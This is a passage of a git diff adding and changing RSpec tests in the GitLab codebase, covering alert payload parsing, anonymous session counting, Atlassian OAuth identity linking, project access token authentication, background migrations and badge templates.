+ is_expected.to eq(Digest::SHA1.hexdigest(plain_fingerprint))
+ end
+ end
+
+ describe '#metrics_dashboard_url' do
+ include_context 'self-managed prometheus alert attributes' do
+ let(:raw_payload) { payload }
+ end
+
+ subject { parsed_payload.metrics_dashboard_url }
+
+ it { is_expected.to eq(dashboard_url_for_alert) }
+
+ context 'without environment' do
+ let(:raw_payload) { payload.except('labels') }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'without full query' do
+ let(:raw_payload) { payload.except('generatorURL') }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'without title' do
+ let(:raw_payload) { payload.except('annotations') }
+
+ it { is_expected.to be_nil }
+ end
+ end
+
+ describe '#has_required_attributes?' do
+ let(:starts_at) { Time.current.change(usec: 0).utc }
+ let(:raw_payload) { { 'annotations' => { 'title' => 'title' }, 'startsAt' => starts_at.rfc3339 } }
+
+ subject { parsed_payload.has_required_attributes? }
+
+ it { is_expected.to be_truthy }
+
+ context 'without project' do
+ let(:parsed_payload) { described_class.new(project: nil, payload: raw_payload) }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'without title' do
+ let(:raw_payload) { { 'startsAt' => starts_at.rfc3339 } }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'without startsAt' do
+ let(:raw_payload) { { 'annotations' => { 'title' => 'title' } } }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'without payload' do
+ let(:parsed_payload) { described_class.new(project: project, payload: nil) }
+
+ it { is_expected.to be_falsey }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/alert_management/payload_spec.rb b/spec/lib/gitlab/alert_management/payload_spec.rb
new file mode 100644
index 00000000000..44b55e228c5
--- /dev/null
+++ b/spec/lib/gitlab/alert_management/payload_spec.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::AlertManagement::Payload do
+ describe '#parse' do
+ let_it_be(:project) { build_stubbed(:project) }
+ let(:payload) { {} }
+
+ context 'without a monitoring_tool specified by caller' do
+ subject { described_class.parse(project, payload) }
+
+ context 'without a monitoring tool in the payload' do
+ it { is_expected.to be_a Gitlab::AlertManagement::Payload::Generic }
+ end
+
+ context 'with the payload specifying Prometheus' do
+ let(:payload) { { 'monitoring_tool' => 'Prometheus' } }
+
+ it { is_expected.to be_a Gitlab::AlertManagement::Payload::Prometheus }
+
+ context 'with gitlab-managed attributes' do
+ let(:payload) { { 'monitoring_tool' => 'Prometheus', 'labels' => { 'gitlab_alert_id' => '12' } } }
+
+ it { is_expected.to be_a Gitlab::AlertManagement::Payload::ManagedPrometheus }
+ end
+ end
+
+ context 'with the payload specifying an unknown tool' do
+ let(:payload) { { 'monitoring_tool' => 'Custom Tool' } }
+
+ it { is_expected.to be_a Gitlab::AlertManagement::Payload::Generic }
+ end
+ end
+
+ context 'with monitoring_tool specified by caller' do
+ subject { described_class.parse(project, payload, monitoring_tool: monitoring_tool) }
+
+ context 'as Prometheus' do
+ let(:monitoring_tool) { 'Prometheus' }
+
+ context 'with an externally managed prometheus payload' do
+ it { is_expected.to be_a Gitlab::AlertManagement::Payload::Prometheus }
+ end
+
+ context 'with a self-managed prometheus payload' do
+ let(:payload) { { 'labels' => { 'gitlab_alert_id' => '14' } } }
+
+ it { is_expected.to be_a Gitlab::AlertManagement::Payload::ManagedPrometheus }
+ end
+ end
+
+ context 'as an unknown tool' do
+ let(:monitoring_tool) { 'Custom Tool' }
+
+ it { is_expected.to be_a Gitlab::AlertManagement::Payload::Generic }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/alerting/notification_payload_parser_spec.rb b/spec/lib/gitlab/alerting/notification_payload_parser_spec.rb
index 0489108b159..ff5ab1116fa 100644
--- a/spec/lib/gitlab/alerting/notification_payload_parser_spec.rb
+++ b/spec/lib/gitlab/alerting/notification_payload_parser_spec.rb
@@ -7,10 +7,12 @@ RSpec.describe Gitlab::Alerting::NotificationPayloadParser do
describe '.call' do
let(:starts_at) { Time.current.change(usec: 0) }
+ let(:ends_at) { Time.current.change(usec: 0) }
let(:payload) do
{
'title' => 'alert title',
'start_time' => starts_at.rfc3339,
+ 'end_time' => ends_at.rfc3339,
'description' => 'Description',
'monitoring_tool' => 'Monitoring tool name',
'service' => 'Service',
@@ -32,7 +34,8 @@ RSpec.describe Gitlab::Alerting::NotificationPayloadParser do
'hosts' => ['gitlab.com'],
'severity' => 'low'
},
- 'startsAt' => starts_at.rfc3339
+ 'startsAt' => starts_at.rfc3339,
+ 'endsAt' => ends_at.rfc3339
}
)
end
@@ -124,11 +127,24 @@ RSpec.describe Gitlab::Alerting::NotificationPayloadParser do
end
end
+ context 'with environment' do
+ let(:environment) { create(:environment, project: project) }
+
+ before do
+ payload[:gitlab_environment_name] = environment.name
+ end
+
+ it 'sets the environment ' do
+ expect(subject.dig('annotations', 'environment')).to eq(environment)
+ end
+ end
+
context 'when payload attributes have blank lines' do
let(:payload) do
{
'title' => '',
'start_time' => '',
+ 'end_time' => '',
'description' => '',
'monitoring_tool' => '',
'service' => '',
diff --git a/spec/lib/gitlab/analytics/instance_statistics/workers_argument_builder_spec.rb b/spec/lib/gitlab/analytics/instance_statistics/workers_argument_builder_spec.rb
new file mode 100644
index 00000000000..d232e509e00
--- /dev/null
+++ b/spec/lib/gitlab/analytics/instance_statistics/workers_argument_builder_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Analytics::InstanceStatistics::WorkersArgumentBuilder do
+ context 'when no measurement identifiers are given' do
+ it 'returns empty array' do
+ expect(described_class.new(measurement_identifiers: []).execute).to be_empty
+ end
+ end
+
+ context 'when measurement identifiers are given' do
+ let_it_be(:user_1) { create(:user) }
+ let_it_be(:project_1) { create(:project, namespace: user_1.namespace, creator: user_1) }
+ let_it_be(:project_2) { create(:project, namespace: user_1.namespace, creator: user_1) }
+ let_it_be(:project_3) { create(:project, namespace: user_1.namespace, creator: user_1) }
+
+ let(:recorded_at) { 2.days.ago }
+ let(:projects_measurement_identifier) { ::Analytics::InstanceStatistics::Measurement.identifiers.fetch(:projects) }
+ let(:users_measurement_identifier) { ::Analytics::InstanceStatistics::Measurement.identifiers.fetch(:users) }
+ let(:measurement_identifiers) { [projects_measurement_identifier, users_measurement_identifier] }
+
+ subject { described_class.new(measurement_identifiers: measurement_identifiers, recorded_at: recorded_at).execute }
+
+ it 'returns worker arguments' do
+ expect(subject).to eq([
+ [projects_measurement_identifier, project_1.id, project_3.id, recorded_at],
+ [users_measurement_identifier, user_1.id, user_1.id, recorded_at]
+ ])
+ end
+
+ context 'when bogus measurement identifiers are given' do
+ before do
+ measurement_identifiers << 'bogus1'
+ measurement_identifiers << 'bogus2'
+ end
+
+ it 'skips bogus measurement identifiers' do
+ expect(subject).to eq([
+ [projects_measurement_identifier, project_1.id, project_3.id, recorded_at],
+ [users_measurement_identifier, user_1.id, user_1.id, recorded_at]
+ ])
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/anonymous_session_spec.rb b/spec/lib/gitlab/anonymous_session_spec.rb
index 0f0795cd9fc..671d452ad13 100644
--- a/spec/lib/gitlab/anonymous_session_spec.rb
+++ b/spec/lib/gitlab/anonymous_session_spec.rb
@@ -8,45 +8,36 @@ RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
subject { new_anonymous_session }
- def new_anonymous_session(session_id = default_session_id)
- described_class.new('127.0.0.1', session_id: session_id)
+ def new_anonymous_session
+ described_class.new('127.0.0.1')
end
- describe '#store_session_id_per_ip' do
+ describe '#store_session_ip' do
it 'adds session id to proper key' do
- subject.store_session_id_per_ip
+ subject.count_session_ip
Gitlab::Redis::SharedState.with do |redis|
- expect(redis.smembers("session:lookup:ip:gitlab:127.0.0.1")).to eq [default_session_id]
+ expect(redis.get("session:lookup:ip:gitlab2:127.0.0.1").to_i).to eq 1
end
end
it 'adds expiration time to key' do
Timecop.freeze do
- subject.store_session_id_per_ip
+ subject.count_session_ip
Gitlab::Redis::SharedState.with do |redis|
- expect(redis.ttl("session:lookup:ip:gitlab:127.0.0.1")).to eq(24.hours.to_i)
+ expect(redis.ttl("session:lookup:ip:gitlab2:127.0.0.1")).to eq(24.hours.to_i)
end
end
end
- it 'adds id only once' do
- subject.store_session_id_per_ip
- subject.store_session_id_per_ip
-
- Gitlab::Redis::SharedState.with do |redis|
- expect(redis.smembers("session:lookup:ip:gitlab:127.0.0.1")).to eq [default_session_id]
- end
- end
-
context 'when there is already one session' do
- it 'adds session id to proper key' do
- subject.store_session_id_per_ip
- new_anonymous_session(additional_session_id).store_session_id_per_ip
+ it 'increments the session count' do
+ subject.count_session_ip
+ new_anonymous_session.count_session_ip
Gitlab::Redis::SharedState.with do |redis|
- expect(redis.smembers("session:lookup:ip:gitlab:127.0.0.1")).to contain_exactly(default_session_id, additional_session_id)
+ expect(redis.get("session:lookup:ip:gitlab2:127.0.0.1").to_i).to eq(2)
end
end
end
@@ -55,24 +46,22 @@ RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
describe '#stored_sessions' do
it 'returns all anonymous sessions per ip' do
Gitlab::Redis::SharedState.with do |redis|
- redis.sadd("session:lookup:ip:gitlab:127.0.0.1", default_session_id)
- redis.sadd("session:lookup:ip:gitlab:127.0.0.1", additional_session_id)
+ redis.set("session:lookup:ip:gitlab2:127.0.0.1", 2)
end
- expect(subject.stored_sessions).to eq(2)
+ expect(subject.session_count).to eq(2)
end
end
it 'removes obsolete lookup through ip entries' do
Gitlab::Redis::SharedState.with do |redis|
- redis.sadd("session:lookup:ip:gitlab:127.0.0.1", default_session_id)
- redis.sadd("session:lookup:ip:gitlab:127.0.0.1", additional_session_id)
+ redis.set("session:lookup:ip:gitlab2:127.0.0.1", 2)
end
- subject.cleanup_session_per_ip_entries
+ subject.cleanup_session_per_ip_count
Gitlab::Redis::SharedState.with do |redis|
- expect(redis.smembers("session:lookup:ip:gitlab:127.0.0.1")).to eq [additional_session_id]
+ expect(redis.exists("session:lookup:ip:gitlab2:127.0.0.1")).to eq(false)
end
end
end
diff --git a/spec/lib/gitlab/app_text_logger_spec.rb b/spec/lib/gitlab/app_text_logger_spec.rb
index 04c2e946640..e8bee0f9903 100644
--- a/spec/lib/gitlab/app_text_logger_spec.rb
+++ b/spec/lib/gitlab/app_text_logger_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe Gitlab::AppTextLogger do
end
it 'logs time in UTC with ISO8601.3 standard' do
- Timecop.freeze do
+ freeze_time do
expect(subject.format_message('INFO', Time.now, nil, string_message))
.to include(Time.now.utc.iso8601(3))
end
diff --git a/spec/lib/gitlab/asciidoc_spec.rb b/spec/lib/gitlab/asciidoc_spec.rb
index 1b669e691e7..6b93634690c 100644
--- a/spec/lib/gitlab/asciidoc_spec.rb
+++ b/spec/lib/gitlab/asciidoc_spec.rb
@@ -404,7 +404,7 @@ module Gitlab
++++
stem:[2+2] is 4
- MD
+ MD
expect(render(input, context)).to include('<pre data-math-style="display" class="code math js-render-math"><code>eta_x gamma</code></pre>')
expect(render(input, context)).to include('<p><code data-math-style="inline" class="code math js-render-math">2+2</code> is 4</p>')
diff --git a/spec/lib/gitlab/auth/atlassian/auth_hash_spec.rb b/spec/lib/gitlab/auth/atlassian/auth_hash_spec.rb
new file mode 100644
index 00000000000..c57b15361c4
--- /dev/null
+++ b/spec/lib/gitlab/auth/atlassian/auth_hash_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Auth::Atlassian::AuthHash do
+ let(:auth_hash) do
+ described_class.new(
+ OmniAuth::AuthHash.new(uid: 'john', credentials: credentials)
+ )
+ end
+
+ let(:credentials) do
+ {
+ token: 'super_secret_token',
+ refresh_token: 'super_secret_refresh_token',
+ expires_at: 2.weeks.from_now.to_i,
+ expires: true
+ }
+ end
+
+ describe '#uid' do
+ it 'returns the correct uid' do
+ expect(auth_hash.uid).to eq('john')
+ end
+ end
+
+ describe '#token' do
+ it 'returns the correct token' do
+ expect(auth_hash.token).to eq(credentials[:token])
+ end
+ end
+
+ describe '#refresh_token' do
+ it 'returns the correct refresh token' do
+ expect(auth_hash.refresh_token).to eq(credentials[:refresh_token])
+ end
+ end
+
+ describe '#token' do
+ it 'returns the correct expires boolean' do
+ expect(auth_hash.expires?).to eq(credentials[:expires])
+ end
+ end
+
+ describe '#token' do
+ it 'returns the correct expiration' do
+ expect(auth_hash.expires_at).to eq(credentials[:expires_at])
+ end
+ end
+end
diff --git a/spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb b/spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb
new file mode 100644
index 00000000000..ca6b91ac6f1
--- /dev/null
+++ b/spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Auth::Atlassian::IdentityLinker do
+ let(:user) { create(:user) }
+ let(:extern_uid) { generate(:username) }
+ let(:oauth) do
+ OmniAuth::AuthHash.new(
+ uid: extern_uid,
+ provider: 'atlassian_oauth2',
+ info: { name: 'John', email: 'john@mail.com' },
+ credentials: credentials
+ )
+ end
+
+ let(:credentials) do
+ {
+ token: SecureRandom.alphanumeric(1254),
+ refresh_token: SecureRandom.alphanumeric(45),
+ expires_at: 2.weeks.from_now.to_i,
+ expires: true
+ }
+ end
+
+ subject { described_class.new(user, oauth) }
+
+ context 'linked identity exists' do
+ let!(:identity) { create(:atlassian_identity, user: user, extern_uid: extern_uid) }
+
+ before do
+ subject.link
+ end
+
+ it 'sets #changed? to false' do
+ expect(subject).not_to be_changed
+ end
+
+ it 'does not mark as failed' do
+ expect(subject).not_to be_failed
+ end
+ end
+
+ context 'identity already linked to different user' do
+ let!(:identity) { create(:atlassian_identity, extern_uid: extern_uid) }
+
+ it 'sets #changed? to false' do
+ subject.link
+
+ expect(subject).not_to be_changed
+ end
+
+ it 'exposes error message' do
+ expect(subject.error_message).to eq 'Extern uid has already been taken'
+ end
+ end
+
+ context 'identity needs to be created' do
+ let(:identity) { user.atlassian_identity }
+
+ before do
+ subject.link
+ end
+
+ it_behaves_like 'an atlassian identity'
+
+ it 'sets #changed? to true' do
+ expect(subject).to be_changed
+ end
+ end
+end
diff --git a/spec/lib/gitlab/auth/atlassian/user_spec.rb b/spec/lib/gitlab/auth/atlassian/user_spec.rb
new file mode 100644
index 00000000000..1db01102bc2
--- /dev/null
+++ b/spec/lib/gitlab/auth/atlassian/user_spec.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Auth::Atlassian::User do
+ let(:oauth_user) { described_class.new(oauth) }
+ let(:gl_user) { oauth_user.gl_user }
+ let(:extern_uid) { generate(:username) }
+ let(:oauth) do
+ OmniAuth::AuthHash.new(
+ uid: extern_uid,
+ provider: 'atlassian_oauth2',
+ info: { name: 'John', email: 'john@mail.com' },
+ credentials: credentials)
+ end
+
+ let(:credentials) do
+ {
+ token: SecureRandom.alphanumeric(1254),
+ refresh_token: SecureRandom.alphanumeric(45),
+ expires_at: 2.weeks.from_now.to_i,
+ expires: true
+ }
+ end
+
+ describe '.assign_identity_from_auth_hash!' do
+ let(:auth_hash) { ::Gitlab::Auth::Atlassian::AuthHash.new(oauth) }
+ let(:identity) { described_class.assign_identity_from_auth_hash!(Atlassian::Identity.new, auth_hash) }
+
+ it_behaves_like 'an atlassian identity'
+ end
+
+ describe '#save' do
+ context 'for an existing user' do
+ context 'with an existing Atlassian Identity' do
+ let!(:existing_user) { create(:atlassian_user, extern_uid: extern_uid) }
+ let(:identity) { gl_user.atlassian_identity }
+
+ before do
+ oauth_user.save # rubocop:disable Rails/SaveBang
+ end
+
+ it 'finds the existing user and identity' do
+ expect(gl_user.id).to eq(existing_user.id)
+ expect(identity.id).to eq(existing_user.atlassian_identity.id)
+ end
+
+ it_behaves_like 'an atlassian identity'
+ end
+
+ context 'for a new user' do
+ it 'creates the user and identity' do
+ oauth_user.save # rubocop:disable Rails/SaveBang
+
+ expect(gl_user).to be_valid
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/auth/ldap/adapter_spec.rb b/spec/lib/gitlab/auth/ldap/adapter_spec.rb
index 78970378b7f..8546d63cf77 100644
--- a/spec/lib/gitlab/auth/ldap/adapter_spec.rb
+++ b/spec/lib/gitlab/auth/ldap/adapter_spec.rb
@@ -128,7 +128,7 @@ RSpec.describe Gitlab::Auth::Ldap::Adapter do
before do
allow(adapter).to receive(:renew_connection_adapter).and_return(ldap)
allow(ldap).to receive(:search) { raise Net::LDAP::Error, "some error" }
- allow(Rails.logger).to receive(:warn)
+ allow(Gitlab::AppLogger).to receive(:warn)
end
context 'retries the operation' do
@@ -152,7 +152,7 @@ RSpec.describe Gitlab::Auth::Ldap::Adapter do
it 'logs the error' do
expect { subject }.to raise_error(Gitlab::Auth::Ldap::LdapConnectionError)
- expect(Rails.logger).to have_received(:warn).with(
+ expect(Gitlab::AppLogger).to have_received(:warn).with(
"LDAP search raised exception Net::LDAP::Error: some error")
end
end
diff --git a/spec/lib/gitlab/auth/ldap/config_spec.rb b/spec/lib/gitlab/auth/ldap/config_spec.rb
index 4287596af8f..e4c87a54365 100644
--- a/spec/lib/gitlab/auth/ldap/config_spec.rb
+++ b/spec/lib/gitlab/auth/ldap/config_spec.rb
@@ -168,7 +168,7 @@ AtlErSqafbECNDSwS5BX8yDpu5yRBJ4xegO/rNlmb8ICRYkuJapD1xXicFOsmfUK
end
it 'logs an error when an invalid key or cert are configured' do
- allow(Rails.logger).to receive(:error)
+ allow(Gitlab::AppLogger).to receive(:error)
stub_ldap_config(
options: {
'host' => 'ldap.example.com',
@@ -183,7 +183,7 @@ AtlErSqafbECNDSwS5BX8yDpu5yRBJ4xegO/rNlmb8ICRYkuJapD1xXicFOsmfUK
config.adapter_options
- expect(Rails.logger).to have_received(:error).with(/LDAP TLS Options/).twice
+ expect(Gitlab::AppLogger).to have_received(:error).with(/LDAP TLS Options/).twice
end
context 'when verify_certificates is enabled' do
diff --git a/spec/lib/gitlab/auth/o_auth/provider_spec.rb b/spec/lib/gitlab/auth/o_auth/provider_spec.rb
index 658a9976cc2..57f17365190 100644
--- a/spec/lib/gitlab/auth/o_auth/provider_spec.rb
+++ b/spec/lib/gitlab/auth/o_auth/provider_spec.rb
@@ -45,7 +45,7 @@ RSpec.describe Gitlab::Auth::OAuth::Provider do
end
end
- describe '#config_for' do
+ describe '.config_for' do
context 'for an LDAP provider' do
context 'when the provider exists' do
it 'returns the config' do
@@ -91,4 +91,46 @@ RSpec.describe Gitlab::Auth::OAuth::Provider do
end
end
end
+
+ describe '.label_for' do
+ subject { described_class.label_for(name) }
+
+ context 'when configuration specifies a custom label' do
+ let(:name) { 'google_oauth2' }
+ let(:label) { 'Custom Google Provider' }
+ let(:provider) { OpenStruct.new({ 'name' => name, 'label' => label }) }
+
+ before do
+ stub_omniauth_setting(providers: [provider])
+ end
+
+ it 'returns the custom label name' do
+ expect(subject).to eq(label)
+ end
+ end
+
+ context 'when configuration does not specify a custom label' do
+ let(:provider) { OpenStruct.new({ 'name' => name } ) }
+
+ before do
+ stub_omniauth_setting(providers: [provider])
+ end
+
+ context 'when the name does not correspond to a label mapping' do
+ let(:name) { 'twitter' }
+
+ it 'returns the titleized name' do
+ expect(subject).to eq(name.titleize)
+ end
+ end
+ end
+
+ context 'when the name corresponds to a label mapping' do
+ let(:name) { 'gitlab' }
+
+ it 'returns the mapped name' do
+ expect(subject).to eq('GitLab.com')
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/auth/o_auth/user_spec.rb b/spec/lib/gitlab/auth/o_auth/user_spec.rb
index 12e774ec1f8..243d0a4cb45 100644
--- a/spec/lib/gitlab/auth/o_auth/user_spec.rb
+++ b/spec/lib/gitlab/auth/o_auth/user_spec.rb
@@ -202,7 +202,56 @@ RSpec.describe Gitlab::Auth::OAuth::User do
include_examples "to verify compliance with allow_single_sign_on"
end
- context "with auto_link_user enabled" do
+ context "with auto_link_user enabled for a different provider" do
+ before do
+ stub_omniauth_config(auto_link_user: ['saml'])
+ end
+
+ context "and a current GitLab user with a matching email" do
+ let!(:existing_user) { create(:user, email: 'john@mail.com', username: 'john') }
+
+ it "adds the OmniAuth identity to the GitLab user account" do
+ oauth_user.save
+
+ expect(gl_user).not_to be_valid
+ end
+ end
+
+ context "and no current GitLab user with a matching email" do
+ include_examples "to verify compliance with allow_single_sign_on"
+ end
+ end
+
+ context "with auto_link_user enabled for the correct provider" do
+ before do
+ stub_omniauth_config(auto_link_user: ['twitter'])
+ end
+
+ context "and a current GitLab user with a matching email" do
+ let!(:existing_user) { create(:user, email: 'john@mail.com', username: 'john') }
+
+ it "adds the OmniAuth identity to the GitLab user account" do
+ oauth_user.save
+
+ expect(gl_user).to be_valid
+ expect(gl_user.username).to eql 'john'
+ expect(gl_user.email).to eql 'john@mail.com'
+ expect(gl_user.identities.length).to be 1
+ identities_as_hash = gl_user.identities.map { |id| { provider: id.provider, extern_uid: id.extern_uid } }
+ expect(identities_as_hash).to match_array(
+ [
+ { provider: 'twitter', extern_uid: uid }
+ ]
+ )
+ end
+ end
+
+ context "and no current GitLab user with a matching email" do
+ include_examples "to verify compliance with allow_single_sign_on"
+ end
+ end
+
+ context "with auto_link_user enabled for all providers" do
before do
stub_omniauth_config(auto_link_user: true)
end
@@ -421,7 +470,7 @@ RSpec.describe Gitlab::Auth::OAuth::User do
context "with both auto_link_user and auto_link_ldap_user enabled" do
before do
- stub_omniauth_config(auto_link_user: true, auto_link_ldap_user: true)
+ stub_omniauth_config(auto_link_user: ['twitter'], auto_link_ldap_user: true)
end
context "and at least one LDAP provider is defined" do
diff --git a/spec/lib/gitlab/auth_spec.rb b/spec/lib/gitlab/auth_spec.rb
index b6a8ac31074..74360637897 100644
--- a/spec/lib/gitlab/auth_spec.rb
+++ b/spec/lib/gitlab/auth_spec.rb
@@ -358,6 +358,29 @@ RSpec.describe Gitlab::Auth, :use_clean_rails_memory_store_caching do
.to eq(Gitlab::Auth::Result.new(nil, nil, nil, nil))
end
end
+
+ context 'when using a project access token' do
+ let_it_be(:project_bot_user) { create(:user, :project_bot) }
+ let_it_be(:project_access_token) { create(:personal_access_token, user: project_bot_user) }
+
+ context 'with valid project access token' do
+ before_all do
+ project.add_maintainer(project_bot_user)
+ end
+
+ it 'succeeds' do
+ expect(gl_auth.find_for_git_client(project_bot_user.username, project_access_token.token, project: project, ip: 'ip'))
+ .to eq(Gitlab::Auth::Result.new(project_bot_user, nil, :personal_access_token, described_class.full_authentication_abilities))
+ end
+ end
+
+ context 'with invalid project access token' do
+ it 'fails' do
+ expect(gl_auth.find_for_git_client(project_bot_user.username, project_access_token.token, project: project, ip: 'ip'))
+ .to eq(Gitlab::Auth::Result.new(nil, nil, nil, nil))
+ end
+ end
+ end
end
context 'while using regular user and password' do
diff --git a/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb b/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
index fad33265030..a23b74bcaca 100644
--- a/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
@@ -327,6 +327,6 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migrat
end
def ls_files(snippet)
- raw_repository(snippet).ls_files(nil)
+ raw_repository(snippet).ls_files(snippet.default_branch)
end
end
diff --git a/spec/lib/gitlab/background_migration/migrate_to_hashed_storage_spec.rb b/spec/lib/gitlab/background_migration/migrate_to_hashed_storage_spec.rb
new file mode 100644
index 00000000000..0f7bb06e830
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/migrate_to_hashed_storage_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+# rubocop:disable RSpec/FactoriesInMigrationSpecs
+RSpec.describe Gitlab::BackgroundMigration::MigrateToHashedStorage, :sidekiq, :redis do
+ let(:migrator) { Gitlab::HashedStorage::Migrator.new }
+
+ subject(:background_migration) { described_class.new }
+
+ describe '#perform' do
+ let!(:project) { create(:project, :empty_repo, :legacy_storage) }
+
+ context 'with pending rollback' do
+ it 'aborts rollback operation' do
+ Sidekiq::Testing.disable! do
+ Sidekiq::Client.push(
+ 'queue' => ::HashedStorage::ProjectRollbackWorker.queue,
+ 'class' => ::HashedStorage::ProjectRollbackWorker,
+ 'args' => [project.id]
+ )
+
+ expect { background_migration.perform }.to change { migrator.rollback_pending? }.from(true).to(false)
+ end
+ end
+ end
+
+ it 'enqueues legacy projects to be migrated' do
+ Sidekiq::Testing.fake! do
+ expect { background_migration.perform }.to change { Sidekiq::Queues[::HashedStorage::MigratorWorker.queue].size }.by(1)
+ end
+ end
+
+ context 'when executing all jobs' do
+ it 'migrates legacy projects' do
+ Sidekiq::Testing.inline! do
+ expect { background_migration.perform }.to change { project.reload.legacy_storage? }.from(true).to(false)
+ end
+ end
+ end
+ end
+end
+# rubocop:enable RSpec/FactoriesInMigrationSpecs
diff --git a/spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb b/spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb
index 6e9f51f510a..f23518625e4 100644
--- a/spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb
+++ b/spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb
@@ -13,11 +13,11 @@ RSpec.describe Gitlab::BackgroundMigration::SetMergeRequestDiffFilesCount, schem
let(:project) { projects.create!(namespace_id: namespace.id) }
let(:merge_request) { merge_requests.create!(source_branch: 'x', target_branch: 'master', target_project_id: project.id) }
- it 'fills the files_count column' do
- empty_diff = merge_request_diffs.create!(merge_request_id: merge_request.id)
- filled_diff = merge_request_diffs.create!(merge_request_id: merge_request.id)
+ let!(:empty_diff) { merge_request_diffs.create!(merge_request_id: merge_request.id) }
+ let!(:filled_diff) { merge_request_diffs.create!(merge_request_id: merge_request.id) }
- 3.times do |n|
+ let!(:filled_diff_files) do
+ 1.upto(3).map do |n|
merge_request_diff_files.create!(
merge_request_diff_id: filled_diff.id,
relative_order: n,
@@ -31,10 +31,21 @@ RSpec.describe Gitlab::BackgroundMigration::SetMergeRequestDiffFilesCount, schem
new_path: ''
)
end
+ end
+ it 'fills the files_count column' do
described_class.new.perform(empty_diff.id, filled_diff.id)
expect(empty_diff.reload.files_count).to eq(0)
expect(filled_diff.reload.files_count).to eq(3)
end
+
+ it 'uses the sentinel value if the actual count is too high' do
+ stub_const("#{described_class}::FILES_COUNT_SENTINEL", filled_diff_files.size - 1)
+
+ described_class.new.perform(empty_diff.id, filled_diff.id)
+
+ expect(empty_diff.reload.files_count).to eq(0)
+ expect(filled_diff.reload.files_count).to eq(described_class::FILES_COUNT_SENTINEL)
+ end
end
diff --git a/spec/lib/gitlab/badge/coverage/template_spec.rb b/spec/lib/gitlab/badge/coverage/template_spec.rb
index 5a0adfd8e59..ba5c1b2ce6e 100644
--- a/spec/lib/gitlab/badge/coverage/template_spec.rb
+++ b/spec/lib/gitlab/badge/coverage/template_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Gitlab::Badge::Coverage::Template do
context 'when its size is larger than the max allowed value' do
before do
- allow(badge).to receive(:customization).and_return({ key_text: 't' * 129 })
+ allow(badge).to receive(:customization).and_return({ key_text: 't' * 65 })
end
it 'returns default value' do
@@ -76,7 +76,7 @@ RSpec.describe Gitlab::Badge::Coverage::Template do
context 'when it is larger than the max allowed value' do
before do
- allow(badge).to receive(:customization).and_return({ key_width: 129 })
+ allow(badge).to receive(:customization).and_return({ key_width: 513 })
end
it 'returns default value' do
diff --git a/spec/lib/gitlab/badge/pipeline/status_spec.rb b/spec/lib/gitlab/badge/pipeline/status_spec.rb
index fcc0d4030fd..b5dabca0477 100644
--- a/spec/lib/gitlab/badge/pipeline/status_spec.rb
+++ b/spec/lib/gitlab/badge/pipeline/status_spec.rb
@@ -78,6 +78,34 @@ RSpec.describe Gitlab::Badge::Pipeline::Status do
expect(badge.status).to eq 'success'
end
end
+
+ context 'when ignored_skipped is set to true' do
+ let(:new_badge) { described_class.new(project, branch, opts: { ignore_skipped: true }) }
+
+ before do
+ pipeline.skip!
+ end
+
+ describe '#status' do
+ it 'uses latest non-skipped status' do
+ expect(new_badge.status).not_to eq 'skipped'
+ end
+ end
+ end
+
+ context 'when ignored_skipped is set to false' do
+ let(:new_badge) { described_class.new(project, branch, opts: { ignore_skipped: false }) }
+
+ before do
+ pipeline.skip!
+ end
+
+ describe '#status' do
+ it 'uses latest status' do
+ expect(new_badge.status).to eq 'skipped'
+ end
+ end
+ end
end
context 'build does not exist' do
diff --git a/spec/lib/gitlab/badge/pipeline/template_spec.rb b/spec/lib/gitlab/badge/pipeline/template_spec.rb
index 2f0d0782369..c78e95852f3 100644
--- a/spec/lib/gitlab/badge/pipeline/template_spec.rb
+++ b/spec/lib/gitlab/badge/pipeline/template_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Gitlab::Badge::Pipeline::Template do
context 'when its size is larger than the max allowed value' do
before do
- allow(badge).to receive(:customization).and_return({ key_text: 't' * 129 })
+ allow(badge).to receive(:customization).and_return({ key_text: 't' * 65 })
end
it 'returns default value' do
@@ -54,7 +54,7 @@ RSpec.describe Gitlab::Badge::Pipeline::Template do
context 'when it is larger than the max allowed value' do
before do
- allow(badge).to receive(:customization).and_return({ key_width: 129 })
+ allow(badge).to receive(:customization).and_return({ key_width: 513 })
end
it 'returns default value' do
